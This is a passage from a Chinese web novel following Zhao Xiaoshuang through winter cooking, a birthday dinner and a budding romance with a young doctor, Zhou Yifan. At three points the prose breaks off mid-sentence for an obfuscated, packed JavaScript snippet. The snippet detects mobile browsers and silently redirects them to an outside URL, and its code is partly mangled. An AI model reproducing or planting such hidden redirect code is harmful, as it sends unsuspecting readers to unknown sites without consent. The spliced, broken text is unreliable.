虽然说年后可能去川阳市读书居住，但这个冬天他们都还会在林家庄呆上三四个月，现在家里都也收拾好了，赵小霜走之前也拜托林建业给院子里种上了两棵桃树，秋冬移植果树根系有更长的时间恢复，只不过需要格外注意保暖，尤其林家庄冬天又常常下雪，树苗很容易冻死。院子东边的两棵小桃树已经被林秀英裹上了从旧被褥上拆下来不用的粗布，又用麻绳缠了三四圈塑料布，根部的附近堆了土堆，也盖了一层麦秸秆来保暖，两棵小树苗裹得严严实实的，明年开春应该就能顺利开花了。 半个多月没回家，林家庄的气温已经降到了骑车都很冰手的程度，尤其昨天又下过小雨，今天雨虽然停了，但天气仍旧是阴沉沉的，加上昨天下雨刮风，村里的树叶都差不多掉光了，整个光景都好像已经入冬了一般。 赵小霜找了个旧帽子戴上，又套上一个大外套，这才感觉暖和一些。昨天周翊凡说家里有之前的课本和笔记，都可以送给赵小霜，让赵小霜有空去医院取，唯一的要求就是晚上做饭多做一份，让他下班以后过来“蹭”两口。 赵小霜去川阳市之前灌的腊肠已经风干好了，赵小霜准备晚上切一点做腊肠闷饭，再煮一个胡椒猪肚鸡汤喝，这两个做起来都不是很复杂，味道却特别好。 农村入冬之前，一般也都要做酸菜和辣白菜了，她准备今天一次性把这些事都搞定。之前买的豆子也已经差不多吃完了，她今天要再去黑市买点红豆，做成红豆沙包包子或者烙饼子吃。 桂花酒也已经泡了一个多月了，此时正是味道最好的时候，时间再长反而可能会变苦。揭开盖子，一阵浓浓的桂花香扑鼻，烈酒的味道也被冰糖软软地揉进了桂花香里，赵小霜把桂花都捞出来过滤掉，找了几个干净的玻璃瓶装起来，白酒已经被桂花染成了透亮的金黄色，装在玻璃瓶里看着十分好看。 她准备给孙陆堂孙芷星和周翊凡都带点过去，剩下两瓶就放家里他们自己喝。收拾好要带的东西，又记了一下今天需要买的食材，赵小霜从柜子里翻了个手套戴上就骑车出门了。 赵小霜这次还带了两个缝好的笔袋和几个头花，还有两副漂亮的棉手套，都是林秀英做的，赵小霜准备把这些送给刘哥的女儿，她这几个月没少得刘哥照顾，东西吧刘哥也不缺，想来想去就拜托林秀英做了一些女孩儿上学能用到的东西，两个小孩一人一份，也不会争抢。 赵小霜把桂花酒给了孙陆堂和孙芷星以后就赶去了黑市，买了一些猪肉猪耳朵和猪肚以后，又找到一个大姐买了十斤红豆和十斤绿豆，正准备去买鸡的时候，远远看见了刘哥，赵小霜赶紧跑过去：“刘哥！” 刘哥也非常高兴，他好长时间没见赵小霜：“大妹子，你最近咋都没来？” 赵小霜把背篓里的笔袋手套都掏出来递给他：“我年后准备继续读书了，前段时间看学校呢，就没来这边。这是我妈妈自己做的，你俩闺女不都要上学了吗，这笔袋让她俩拿着用。冬天上学路上冷，我妈还缝了两个棉手套，手暖和了才能好好写字学习呢。” 虽然都不是什么特别贵重的东西，但赵小霜能考虑得这么细，也是用了心思的，刘哥非常感动，他这几天刚从外地拿了一批货回来，他从兜里掏出来两个崭新的打火机递给赵小霜：“大妹子，这个比火柴好用，你拿着用吧！” 这两个煤油打火机是金属壳子的，表面还刻了花纹，赵小霜估摸着一个怎么也得五六块钱，倒腾这种东西本身挣钱风险就大，经常连夜在外边跑，挣点钱也很不容易，赵小霜怎么都不肯要，最后两个人揪扯了半天，以赵小霜收下一个打火机结束。 赵小霜今天不卖东西，两个人又闲扯了几句， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046563|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得知卖她自行车的杨哥杨嫂已经把老人从医院接了回来，手术非常成功，赵小霜也跟着开心了起来。 告别了刘哥，赵小霜就去买其他食材了，家里的调料好多也缺了，昨天做羊汤几乎已经把白胡椒粉用光，今天做胡椒猪肚鸡还需要用到胡椒粉，赵小霜干脆一次买了大半斤，胡萝卜土豆之类的家里都有，好长时间没上山，家里的菌菇粉也用完了，赵小霜又买了一些香菇和鸡枞菌，做焖饭放一些香菇丁也会提升饭的鲜味儿。 买好整鸡以后，赵小霜背着一大箩筐东西去县医院找周翊凡拿课本，周翊凡平时不在急诊值班的时候，都在住院部的外科诊室，赵小霜来过几次医院以后，已经对这里的地形建筑比较熟悉了，没一会儿就找到了正在给病人开药的周翊凡。 见周翊凡正忙，赵小霜乖巧地点点头算是打过招呼，就一个人出门坐在诊室旁边的长椅上等他忙完。 今天赵小霜仍然穿了那件嫩黄色的开衫，里边穿了个米白色的圆领衬衫，以前常梳的两条麻花辫并成一条，斜着梳到胸前，还扎了一个牙黄色的小头花。周翊凡开完药出门，看到的就是乖乖坐在椅子上又好奇地左看右看的赵小霜，在刷了蓝绿色墙的医院里，像一朵盛开的小野花一样，打破了沉闷冰冷的氛围。 紧绷忙碌了一上午的周翊凡看到这一幕，眉头也不自觉地放松了下来，他揉了揉太阳穴，朝她走了过去：“还有两本书我没找到，晚上我给你带过去吧，今天吃什么？” 赵小霜起身点点头：“行，那麻烦你了周医生，今天晚上吃腊肠焖饭，腊肠都是我自己灌的，肯定好吃，你下班了就过来呗。” 说完，又把桂花酒递给他：“看，前段时间做的桂花酒，我给你带了一瓶，哎呀，不过你们当医生的是不是不喝酒啊？”赵小霜这才突然意识到周翊凡的医生身份，孙陆堂老爷子是特别爱饮酒，赵小霜已经习惯了给他送点山货泡的酒，但周翊凡还是个年轻医生，好像送酒是不太合适，赵小霜想着，手就下意识往回缩了一下。 周翊凡伸出手接了过去：“本来是不喝的，但你都特意送过来了，我只好破戒了。” “周医生，你对象啊？”路过两个年轻医生打趣，赵小霜吓得一激灵，正要摆手解释，周翊凡笑着轻轻和他们点了点头，拉着赵小霜的衣袖进了诊室，赵小霜恨不得要上手打他：“你瞎说啥呢！” “我就是和他们打个招呼，我没说话啊？”周翊凡把桂花酒揣进兜里，“他们就是开玩笑，不会有人误会的。” 这一下又给赵小霜闹了个大红脸，她算是发现了，周翊凡这个人表面看着冷漠又不近人情，天天穿着白大褂一副清清冷冷的样子，其实芯子切开都是黑的！赵小霜在心里狠狠地吐槽了一顿，周翊凡见她脸蛋子圆鼓鼓的，还泛着不自然的红色，忍不住又勾唇笑了一下：“这位患者，没有别的事情，我就喊下一个病人进来了。” 赵小霜无语，她平时还算比较伶牙俐齿的，面对周翊凡也不知道该说什么了，偏偏他还一副坦坦荡荡的模样，让赵小霜骂都没法骂他，只好气鼓鼓地瞪了周翊凡一眼，扭头走了，身后还传来周翊凡带着笑意的声音：“晚上见啊，小霜同志。” 门口路来路过还有其他护士和病人，这不是更让人误会了吗！赵小霜加快了离开的步伐，直到出了医院，她脸上的热意也迟迟没有消散下去，一路骑车吹来了些许凉风，才终于让赵小霜感觉降下温来。 38. 胡椒猪肚鸡和腊肠柴火焖饭 到家以后赵小霜把买来的东西收拾放好，又去后山收了两篓子鱼虾，捡了一些柴火，又摘了点拐枣和野果子，山上气温低，这个时节已经有点打霜了，正是野果甜的时候，赵小霜跑上跑下摘了不少。等下山到家后天色已经黑了，赵小霜先把红豆绿豆都分开泡上，才去生柴火做饭。 猪肚鸡基本上要炖一个多小时，猪肚洗起来也比较费劲，赵小霜用盐和醋里里外外搓洗了三四遍，把表面的冲粘液洗干净以后加上葱姜白酒下锅煮，再把浮沫用冷水清洗干净，把边边角角的一些白膜油脂都剪掉，切成一指宽的长条，油热以后加姜片和胡椒粒爆炒一遍出锅，这道汤最难最麻烦的部分就已经结束了。 鸡汤汤底就非常简单了，把新鲜的土鸡剁成块洗一下，直接放进锅里煮就可以，赵小霜还在锅底放了一些党参和当归。等鸡汤的香味儿飘出来以后，将炒好的猪肚倒进锅里一起小火煮着就可以了。 赵小霜又从柜子里拿了一棒鲜玉米，把玉米粒都用菜刀切下来泡水里散开，土豆和胡萝卜削皮以后和香菇一起切成小丁。在铁锅里挖一勺猪油炒香蒜末，再取一整根腊肠洗干净斜切成片，放进锅里爆炒，把蔬菜丁和香菇丁都倒进去，加上酱油、盐和胡椒粉，看土豆有点金黄的时候盛出来。再给锅里倒上白米，加上合适的水量，把刚才炒的腊肠蔬菜丁都倒回锅里，盖上锅盖，大概等半个多小时，腊肠焖饭也就做好了。 这边饭香味儿刚冒头，周翊凡就带着课本和笔记敲门了，简直是掐着点来蹭饭的。赵小霜还对他白天逗弄她的行为有些郁闷，开门以后招呼都懒得和他打，直接回院子里去看泡的豆子了。 周翊凡把课本和笔记都进屋放到桌子上，和林秀英打过招呼以后，又出去找赵小霜：“还有什么需要我做的？” 赵小霜不想搭理他，哼了一声：“都做完了才过来，等着吃饭吧。” 周翊凡点点头，像是没发现赵小霜的别扭，他撸起袖子自然地和赵小霜并排坐在灶火旁边，往里添着柴火：“高中的课本我都给你带过来了，还有一些我自己的笔记，你可以参考。” 周翊凡详细给她讲了讲各个学科的学习要领，赵小霜高中也只上了没几个月，加上上一世后来再没去念书，现在对这些知识都有些陌生了，只能零零星星记起来一些。不过她的志向本也不在此，林建华学习成绩好，也喜欢读书，赵小霜对他“寄予厚望”。 至于她自己嘛，赵小霜觉得能顺利念完高中就行，虽然她也希望自己能考上京市的大学，尤其上一世因为学历的问题没少被邢芳和她的圈子瞧不起，赵小霜内心对学习是非常渴望的。但赵小霜觉得目标定太高太远容易让自己失望，上一世受困于他人的家庭中，这一世她又要想办法挣钱脱离贫困保护家人，实在有些疲于奔命。 下个月的考试她其实没有什么信心，赵小霜觉得如果实在考不上，她就先不念了，专心研究自己的好吃的，攒点本金等政策放开以后，她说不定就能在川阳市的市中心开一个自己的小饭店了。 她把自己的想法给周翊凡说了，周翊凡听了却不太赞同：“念书不是只为了那个学历，一个人的文化水平能够帮助她在自己想走的路上走得更远。你喜欢研究吃的和念书并不冲突，如果你去京市读书，你的眼界肯定更开阔，结识的人脉也更广，这些不都可以帮助你开饭店吗？” 一个月的时间说长不长，说短也不短，赵小霜人又聪明又机灵，周翊凡觉得她肯定考得上，虽然上大学现在基本也都是推荐制，但周翊凡自己家就在京市，她成绩好的话完全可以帮她找一个工厂的工作，再通过工农兵选拔推荐入学。 后边这些话周翊凡没有同赵小霜讲，但他能看出来，赵小霜是想念书想学习的，他也知道赵小霜的困境和挣扎，对于一个生存都成问题的人讲学习的崇高和乐趣，多少有些站着说话不腰疼了。赵小霜又是个不愿意欠人情的，他也怕讲出来以后赵小霜对他又变成那种疏离的模样。 赵小霜第一次和周翊凡聊这么多话，认识了这么久，她这才知道周翊凡是从京市医科大学下乡来的，县医院最近的年轻医生都是他们医疗队的，在这边支援一年左右就会回去继续完成学业，甚至因为上学比较早，周翊凡比赵小霜只大了两岁左右。之前看周翊凡总是板着个脸，说话也惜字如金，平时在医院更是一丝不苟的模样，刚认识的时候说起话来还有点凶巴巴的，赵小霜还以为他已经是二十七八的“老医生”了，没想到他才刚过二十岁生日。 赵小霜还没去过京市，一直对京市的饮食和文化充满了好奇，不由多问了几句，两个人就这么聊了半个小时，赵小霜自己都没察觉，他俩一开始还隔着一段距离，聊到尽兴处，两个人都快挤到一块去了。直到林秀英叮嘱赵小霜饭不要糊锅，两人才手忙脚乱地把火灭了。 好在焖饭这边的火本身比较小，时间长了点也不打紧，反而在锅底烘出了一层薄薄的锅巴。腊肠焖饭出锅之前还得再撒一点点芝麻油搅拌均匀，柴火饭的香气本身就足够馋人了，加上芝麻油以后更是激活了蔬菜和腊肠的香味儿，米饭也吸满了腊肠的肉香和油香。 猪肚鸡这个时候也煮的差不多了，赵小霜往里加了一小蝶研磨细腻的白胡椒粉，又加了盐和红枣枸杞煮了一会儿，拿了一个大砂锅把猪肚鸡汤装起来端进屋，林建业和林建华也从大队修路回来了，两个人简单清洗了一番，晚饭就可以开吃了。 刚揭开砂锅盖，猪肚鸡的香味儿就飘散了满屋，汤是奶白奶白的，炖煮的时间比较长，所以整个汤都是非常浓稠的口感，猪肉鸡肉的油脂香混上白胡椒粉的味道，带着微微的辛辣，汤里撒上切碎的葱花，沿着碗嘬一口，丝滑醇厚的肉汤就沿着喉咙进入胃里，带着一路的鲜甜流过味蕾，直叫人胃口大开。 猪肚煮的脆爽弹牙，蘸上一些酱油醋，鸡肉炖得软烂脱骨，配着大枣的微甜入口，香而不腻，还隐约有一些党参的药味儿，既清淡又滋补，胃里也感觉到暖呼呼的满足，整个人都吃得松快了下来，感觉没有什么事儿是必须现在处理的了。 林秀英给每个人都盛了一大碗刚出锅带着锅巴的腊肠焖饭，腊肠本身是肥瘦相间的，白色的油脂本来已经晾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051118|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干了，现在重新焖过又变得晶莹透亮，看着特别诱人。舀一勺油润的米饭加上腊肠入口，嚼起来又感觉口感非常丰富，土豆软糯，玉米粒清爽，香菇润口，让人吃了就停不下来，配上热乎乎的猪肚鸡汤，一口气能干两三碗饭。 连带上周翊凡，家里现在一共三个大小伙子，正是能吃的时候，林建业已经快三十了，吃得还稍微少点。赵小霜自己现在也长个子，正是饿虎扑食的年纪，几个人吃了一碗又来一碗，满满一大锅的焖饭居然吃得一粒都不剩了，连饭铲上的锅巴都吃得干干净净，砂锅里的猪肚鸡汤就更不用说了，上桌没一会儿就已经见底了，要不是林秀英拦着，几个人连带着调料的汤底都要喝光了。 林秀英怕他们吃撑，拿了点陈皮和乌梅冲了陈皮茶给几个人喝。这一顿真是吃得太满足了，赵小霜的肚子都吃得圆鼓鼓的，周翊凡也很长时间没有这样放开了大口吃饭，平时忙起来事儿又多，要是赶上上手术台，更是吃了这顿忘下顿的。 他在京市的时候，年纪比同学们都小一些，对待学业又极其认真，简直到了废寝忘食的地步，因此一起玩的同学很少。他的发小们当兵的当兵，从政的从政，只有他一个人去了医学院学医。今年到了西顺县，平时也都在医院里呆着，只和一块下乡的医疗队里几个相熟的医生偶尔说说话。他本身就是沉默寡言的性子，不太爱与人交往。 但好像在赵小霜这里，他的话总是格外多一些，每次和她坐一起吃饭，他都能多吃一大碗，当然和赵小霜做的饭好吃也有关系，但在她面前，他总是放松又快乐的，赵小霜好像有一种魔力，能让所有巨大的压力都化解在她的美食里。 他劝赵小霜努力念书去京市，给她讲京市好玩的地方和好吃的东西，一方面是他觉得知识文化都是支撑一个人上进的地基，另一方面他也夹带着私心，他再过半年就要回京市了，他还要两年才能毕业。听赵小霜的计划好像未来要在川阳市发展，周翊凡知道庄白川家在川阳市，他不能确定赵小霜是不是因为庄白川才去那边的，他也没有立场去问。他只能绞尽脑汁地把京市的好讲给她听，希望她哪天可以改变念头，去京市发展，这样他们就能再多多地见面了。 周翊凡一边说着，一边又觉得有些心虚，他不想因为自己的原因就改变赵小霜的想法和目标，但他的私心又让他忍不住要把她往他身边引，他一想到赵小霜和庄白川言笑晏晏的样子，心里就像浸了醋一样又酸又涨。周翊凡在心里给自己的行为找了一个合理的理由，京市的经济发展确实比川阳市要好很多，他也是为了赵小霜考虑，如果赵小霜最后选择了京市，那也是庄白川自己没本事栓住她的心。 赵小霜自然没有注意到周翊凡这些复杂的情绪，她已经吃得迷迷糊糊的，整个人窝在椅子里晕碳了，脸上浮着幸福的红晕，天哪，她的厨艺也太好了吧！她真的很爱吃自己做的饭！明天她要做红豆沙，烙红豆沙饼，包红豆沙包子，还可以做点糖三角吃。白菜家里已经囤了不少，明天可以把酸菜和辣白菜都腌上，马上就要入冬了，再过两天还得去买点煤炭囤着…… 39. 18岁生日 腌酸菜是农村里每家每户在入冬之前都要做的，冬天基本上没有蔬菜可以吃，囤在地窖里的白菜萝卜和土豆就是整个冬天蔬菜的来源了，赵小霜还买了很多大葱放到了地窖里。但这种保存时间还是不够长，尤其林家庄海拔高，冬天的时间更是长达四五个月了，而腌制的酸菜、辣白菜保质期会更长一些，因此家家户户都有自己做酸菜的独特手艺。 赵小霜没自己做过酸菜，但她特别爱吃酸菜炖骨头，在川阳市住单元楼房，家里也没有能腌酸菜的大坛子，她一般都是去外边买一点做来解解馋。这次她可以自己腌了，想腌多少就腌多少，到时候可以包酸菜油渣饺子、炖酸菜排骨、酸菜汆白肉，光是想想就流口水了。 辣白菜比酸菜味道更浓厚一些，酸菜基本上是自然发酵的，吃起来是清淡的酸味儿，口感很清爽。而辣白菜除了加上大量的辣椒粉，还要放葱头、苹果、生蒜泥，这样发酵出来的辣白菜味道更复杂，吃起来是酸酸辣辣的，还有蒜的辛辣，发酵起来比较快，配着主食就可以直接当小菜吃，切碎了和土豆一起烙饼或者和猪肉一块煮汤也别有一番风味。在酸菜还没腌制好的这段时间，正好可以吃辣白菜。 林家小院今天又是忙得热火朝天的一天，林建业和林建华把家里腌菜的坛子搬出来洗得干干净净，又把所有的坛子都用开水烫过几次消毒。家里准备用来腌菜的白菜已经在外边放了几天，前几天没下雨的时候晒得有点蔫巴，这就算是白菜的第一次脱水了。 林秀英把白菜最外层不太好的叶子掰掉，洗一遍以后，从帮子底切开分成四份，扔进开水锅里烫一遍，捞出来晾干以后，就可以放进缸里了，一层白菜一层盐，铺得满满当当的时候，把刚一起消过毒的大石板压在上边，让白菜出水。再过一天左右里边的白菜就特别软了，到时候再补上一些凉白开让水没过白菜，外边盖上防尘的，就可以静待发酵了，一般怎么也得发酵个把月的。等下个月入冬了，基本上就可以拿出来吃了。 辣白菜的步骤也差不太多，等白菜杀出水变软的时候拿出来洗干净拧干，把蒜、韭菜、葱、姜、苹果一起剁成泥状，赵小霜之前打的辣椒粉比较辣，腌菜不是很合适，她又找了一些不太辣的牛角椒和二荆条磨成细粉，加上凉白开和调料一起搅和均匀，加上一点盐和白糖和淀粉，就是浓郁鲜辣的辣白菜腌制料了，一大盆腌料颜色通红，看着很是过瘾。 赵小霜把蔫巴了的白菜掰开，一层一层抹上辣酱，找个密封比较好的小坛子一层一层放进去盖上盖子，给坛子口的外圈倒上水密封住，不让空气进去，过个四五天就可以吃了。 几个人折腾了将近半天，眼看着要到中午了，赵小霜决定做点饼子吃，昨天做的豆沙正好可以用来烙豆沙酥皮饼，油酥还是按之前的办法做，但不需要放盐和花椒粉，上次周翊凡送了一盒黄油，赵小霜也挖了一点混了进去，这样吃起来会更香甜一些。 白面里加上一些玉米油和白糖搅和成絮状，醒发一会儿以后揉成面团，分成小剂子加上油酥擀开，擀成薄薄的面皮，包上满满的豆沙再压成饼状，用热锅慢慢烙，这样做出来的豆沙饼外皮是一层一层的，咬一口酥脆掉渣，里边甜甜的豆沙馅儿跟着溢出来，满口留香。 烙完饼子，还得做个汤配着吃，家里的萝卜很多，正好可以擦成丝做萝卜丸子，再加点红薯粉丝煮成萝卜丸子汤，青萝卜和面粉还有肉馅儿搅和均匀挤出丸子，在锅里炸到金黄酥脆。这种炸丸子可以做成各种各样的菜，赵小霜干脆一口气炸了两盆，有萝卜丸子、豆腐丸子还有土豆丝丸子，天气冷了以后晚上直接拿一些丸子加点生抽胡椒粉和辣椒吊个汤，煮点粉丝就可以当一顿快捷的晚饭了，方便又好吃。酥皮豆沙饼的甜配上青萝卜丸子汤的鲜，简简单单却又热气腾腾的一顿家常午饭立刻抚平了一家人今天的疲惫。 不过连着四五天天晚上，照常来蹭饭的周翊凡都没有出现，赵小霜估摸着他应该是加班或者有其他事情，准备白天去医院给他送点方便加热的饼子，再给他整点“预制汤料包”，就是把调料提前搭配好包个纸包，把干的粉丝也包起来，拿饭盒装点丸子进去，现在天气冷放一礼拜也不会坏，等吃的时候找个快餐杯把这些东西放进去加点水，咕嘟一会儿就熟了，另外在炉子边上铺张油纸放上饼子，烘烤热以后和刚出炉的没有什么区别。这样周翊凡就算下手术台倒夜班，也可以很快地吃上一顿热乎饭。 赵小霜只当自己是出于革命友谊才给他送饭，但在林秀英眼里却全然不是那么回事儿，林秀英能看出来庄白川和周翊凡都喜欢赵小霜，赵小霜也明显对周翊凡有好感，周翊凡又是个聪明踏实的，职业也好，对小霜又总是非常热心。 如果是过去，林秀英一定希望赵小霜赶紧和周翊凡谈恋爱结婚，只是现在她经历了失败的婚姻，她不想让女儿太早踏入婚姻的“囚笼”，赵小霜也说要去川阳市读书，离西顺县就远了很多，两个人不知道还有没有机会再见面。林秀英经历了这么多事情以后，还是更希望女儿能追求自己想要的生活，如果两个孩子未来有缘分，林秀英当然也是支持的。 赵小霜重回来这一世简直掉进了钱眼里，她完全没有想这些有的没的，她一边分装“预制汤料包”一边寻思，冬天各个工厂里值班的工人一般也都是用炉子烤个馒头吃，值班室做饭不方便，冬天也不好出去买吃的，因此值班的晚上很难吃得上热乎汤热乎饭，她这个预制汤料包要是推广出去，岂不是正好迎合市场需求，能挣一大笔钱！她简直就是个天才啊！赵小霜美滋滋地想着，又多包了几包汤料包，打算送给周翊凡的同事和各个厂的保安大爷，打好关系的同时顺便扩大一下宣传。 明天就是霜降，也是赵小霜的生日，林秀英准备给她煮一碗长寿面，再炖一锅鱼汤，做个红烧排骨，让赵小霜去县里的时候顺带买点排骨回来。 赵小霜带着自己的新品就骑车出发了，她今天穿了林秀英新给织的套头浅紫色圆领毛衣，胸口用白色的毛线织了一圈小巧精致的茉莉花，袖口和下摆也用白色做了收口，穿起来清新靓丽，在有些萧瑟的初冬，像春天的紫藤萝一样，让人看了温暖又欣喜。 到医院以后，周翊凡又不在值班室，赵小霜估摸着他又去做手术了，就把汤料包给他桌子上放了五包，出门遇上上次开玩笑的两个年轻医生和她主动打招呼，赵小霜虽然有些不好意思，但毕竟也算认识了，就给他们也送了几包过去。几个新来的小护士看到赵小霜的毛衣，更是兴奋地问她从哪里买的，听说可以定做，家境比较好的两个小护士当场就给了赵小霜十块钱的毛线钱：“小同志，我要那种脆嫩嫩的黄色！我还想在胸口要一个向日葵的图案！” “我就要紫色的，和你这个一样就行！” 赵小霜一一记下，准备一会儿再去买几斤毛线，但具体尺寸还得带林秀英来县城给她们量，赵小霜是完全不懂。几个人约好第二天上午再聚一起量尺寸，赵小霜就骑车去买林秀英交代的东西。 一直到晚上吃饭，周翊凡也没有来林家庄，仔细数数，赵小霜都已经快一礼拜没见到他来蹭饭了。晚上林秀英给赵小霜煮了一碗一整根的长寿面，碗底铺了卤猪肉片，还用胡萝卜青菜鸡蛋做了点缀，整碗面条看起来色彩缤纷，非常漂亮，他们这边有个习俗，长寿面一定要一口吃掉尽量不断，寓意着长寿长久，是对过生日的人的美好祝福。 除了面条，他们还给赵小霜做了她爱吃的红烧排骨、干烧鱼和大米奶糕。一家人又开了两瓶桂花酒，尽兴地吃着喝着。这时，门外传来咚咚咚的敲门声，赵小霜跑去开门，就看到周翊凡一手拎着一个盒子，肩上还挎着一个包，看起来风尘仆仆的，不禁讶异道：“你这是去哪了？” 周翊凡把手里的盒子递给赵小霜：“生日快乐，小霜。” 盒子里是一个白色的小蛋糕，上边用粉色的奶油挤了一圈花边，中间用红色的果酱挤了“生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102187|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日快乐”，比起后世精致的翻糖水果奶油蛋糕来说，看着非常简陋，但这个时候这种生日蛋糕西顺县都没有卖的，也不知道周翊凡去哪里买到的，赵小霜有些感动：“谢谢你，周医生，你还记得我生日？” 周翊凡又把包里的一卷纸拿出来：“这是给你俩找的试卷，尽量考试前做完。”现在的书店还没有卖试卷和教科书的，这沓卷子是周翊凡去找别人借来又手抄的。另外一个盒子周翊凡没递给她，轻描淡写地说了句：“这个刚才在门口放着，我就帮你拿进来了，应该是庄白川送你的。” 见赵小霜还仔细地翻着卷子，他又说：“那我放外边了啊。” 赵小霜随意地点点头：“都行都行，你这卷子好全啊，从哪整来的？” “那我自然有我的办法，别在外边站着了，冷。”周翊凡的心情明显好了许多，拉着赵小霜的袖子进屋了。 这一顿饭大家都吃得非常开心，周翊凡也喝了不少桂花酒，在火炉烧得旺旺的小屋里，几个年轻人都喝的有些醉了，赵小霜的脸也热得红扑扑的，她想出去吹吹凉风，周翊凡也紧跟着出了门。 今天晚上的天空没有一丝乌云，农村的星空像漂亮的穹顶笼罩下来，赵小霜抬头看了看，长长地舒了一口气，周翊凡给她拿了外套披上防止她着凉，又拖了两把小椅子和她并排坐着。 赵小霜明显是喝多了，她整个人都有点歪斜，倚着椅背窝在椅子里，神态有些迷离，但一双眼睛还是亮晶晶的：“周医生，你说人活这一世，到底是为了什么？” 周翊凡仔细想了想：“为了追求更好的生活吧。” “那我一定要努力挣钱，让我妈妈和舅舅都……过上更好的生活……我告诉你一个秘密，你可千万不要告诉别人哦……”赵小霜把手拢成半圆，凑近周翊凡小声地说着。 周翊凡也配合地凑过去，一阵桂花的香气裹着酒精的味道喷到了他的脸上，他忍着痒意，轻声问道：“什么？” “我之前结过一次婚……但是庄白川他背叛我……他们一家都欺负我……我过得很不好……我妈妈去世了，我都没有回来……” 赵小霜的眼泪边说边掉，她用手抹了一把，又说道：“还好我回来了……我妈妈还活着……我也有能力挣钱了，我们终于能过上好日子了……” 她又凑近了一点：“周医生，你能不能帮我妈妈安排个体检啊……我真的很害怕……我总是梦到我妈妈生病了，她想喝杯水，我就去帮她拿，可是怎么都没办法递给她……”赵小霜的眼泪又啪嗒啪嗒地往下掉，简直像断了线的珠子，怎么都停不下来。 周翊凡听着她说话前言不搭后语，一时有点反应不过来，但周翊凡知道她一定受了很大的委屈，他伸手拍拍赵小霜的背，答应下来：“可以，这两天林姨有时间就可以过来，我亲自帮她体检，不会有事的。” 见赵小霜还委屈巴巴地直掉眼泪，他又顺着安慰道：“还好你回来了，你可以保护你妈妈了……庄白川他欺负你？你有没有打回去？” 赵小霜点点头，又摇摇头：“我已经和他没关系了，不要再提他……我讨厌他！” 周翊凡之前就猜测赵小霜和庄白川有过一段感情，但他们什么时候结的婚？而且听这意思是又离婚了？可赵小霜不是才刚十八岁吗？周翊凡估摸赵小霜应该是喝多了胡言乱语，她的小脸透着不自然的红色，整个人窝在椅子里，像个小猫似的，脸上的泪痕还没擦干，又不知道在嘟囔着说什么。 周翊凡伸手帮她擦干净眼泪，今天晚上没有月亮，只有屋顶的一盏煤油灯晃晃悠悠地洒了点暖光在赵小霜脸上，看着像画一样漂亮，周翊凡的大拇指还在她的脸颊上没有离开，他凑近问道：“那你，愿不愿意考虑一下我？” 空气中静得只剩下树叶飘落的声音，头顶的星星也好像紧张地停止了闪烁，过了良久，周翊凡才听到赵小霜均匀的呼吸声，和自己像擂鼓一样的心跳。 40. 龙井茶糕 自从赵小霜过完生日地面都结过霜以后，林家庄的气温就一天低过一天，出院子里待一会儿就冻得手脚冰凉。好在赵小霜之前买了不少煤炭囤着，一家人也上山捡了不少柴火，为了两个人的学习，今年家里早早生上了炉子，入冬之前装了保温层和玻璃窗户，在家只需要穿个线衣就很暖和了，也不会冻手，林秀英之前手上的冻疮今年也没有再犯。 眼看着考试的日子要到了，赵小霜和林建华准备提前两天过去，一是担心过几天下雪封路或者火车停运，二是提前过去找个便宜点的住处，之前住的招待所在市中心，离学校又远，价格也不便宜，赵小霜哪怕现在已经有几百块钱，也还是习惯精打细算，绝对不多花一分冤枉钱。 舅甥俩人早早去车站排队买好了车票，冬天天气冷，出行的人已经明显变少了，半夜就过来排队的人也少了很多，因此两个人没有太费劲就买到了第二天下午去川阳市的车票。 可就在收拾好行李的当晚，林家庄的第一场雪就猝不及防地来了，这场雪又急又猛，一晚上就下了小腿肚那么厚。农村里的人到冬天一般都在家“猫冬”，没有什么特殊重要的事情是不会出远门的，更何况是这种大雪天气，家家户户都掩着门扉在家待着，外边见不着一个人影。 但赵小霜实在不愿错过这次机会，这场考试对他们来说都很重要，因此等了一会儿不见雪停，赵小霜和林建华也还是决定要出发了。 因为下雪的原因，一直到早上八九点多了天还是阴沉沉的，只有路面上的积雪反着白色的光，这种天气也不好骑车，两个人只能走着去车站了。赵小霜和林建华穿着新缝的棉大衣，围着林秀英亲手织的羊毛围巾，背着行囊，揣着介绍信和车票深一脚浅一脚地出门了。 好在虽然林家庄积雪比较厚，西顺县到川阳市的路上雪还很小，火车只是晚点了半个小时，并没有停运，两个人到了车站以后，赵小霜把用来防雪裹在腿上的蛇皮袋取下来，好好地把身上的积雪都拍打干净，防止雪化了渗进衣服里，帽子上的雪已经有点化了，赵小霜和林建华的车厢离锅炉比较近，整体还算暖和，赵小霜把帽子拍了拍，挂在车座旁边的铁散热片上晾着。 